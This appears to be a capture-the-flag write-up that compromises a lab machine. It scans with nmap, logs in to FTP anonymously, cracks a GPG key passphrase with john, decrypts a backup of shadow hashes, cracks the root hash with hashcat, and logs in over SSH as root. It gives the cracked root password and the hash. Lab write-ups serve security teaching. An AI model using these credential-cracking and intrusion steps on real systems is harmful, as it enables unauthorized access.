initial reconnaissance
network scanning to identify available services:
nmap -v -sC -sV -oA nmap 10.10.177.146the scan revealed two accessible services: ftp and ssh.
ftp enumeration
the ftp service allowed anonymous authentication. connecting with default credentials granted access to user directories and system files:
ftp 10.10.177.146
anonymous:anonymousafter exploring the filesystem, the user flag was located and retrieved from an accessible user directory.
encrypted file discovery
continued enumeration revealed encrypted files in the root directory:
- a pgp backup file
- an associated ascii key file
both files were downloaded for offline analysis.
gpg key cracking
the private key was imported and converted for password cracking:
gpg --import private.asc
sudo gpg2john private.asc > privateBop
sudo john privateBopthis recovered the passphrase protecting the gpg key.
backup decryption
with the recovered passphrase, the backup file was decrypted:
gpg --decrypt backup.pgpthe decrypted content revealed system password hashes, including the root user's hash.
root password cracking
echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > hash
hashcat -m 1800 hash --wordlist /usr/share/wordlists/rockyou.txt --forcethe recovered password was hikari.
ssh access and root flag
ssh root@10.10.177.146with root access obtained, the final flag was retrieved from the system.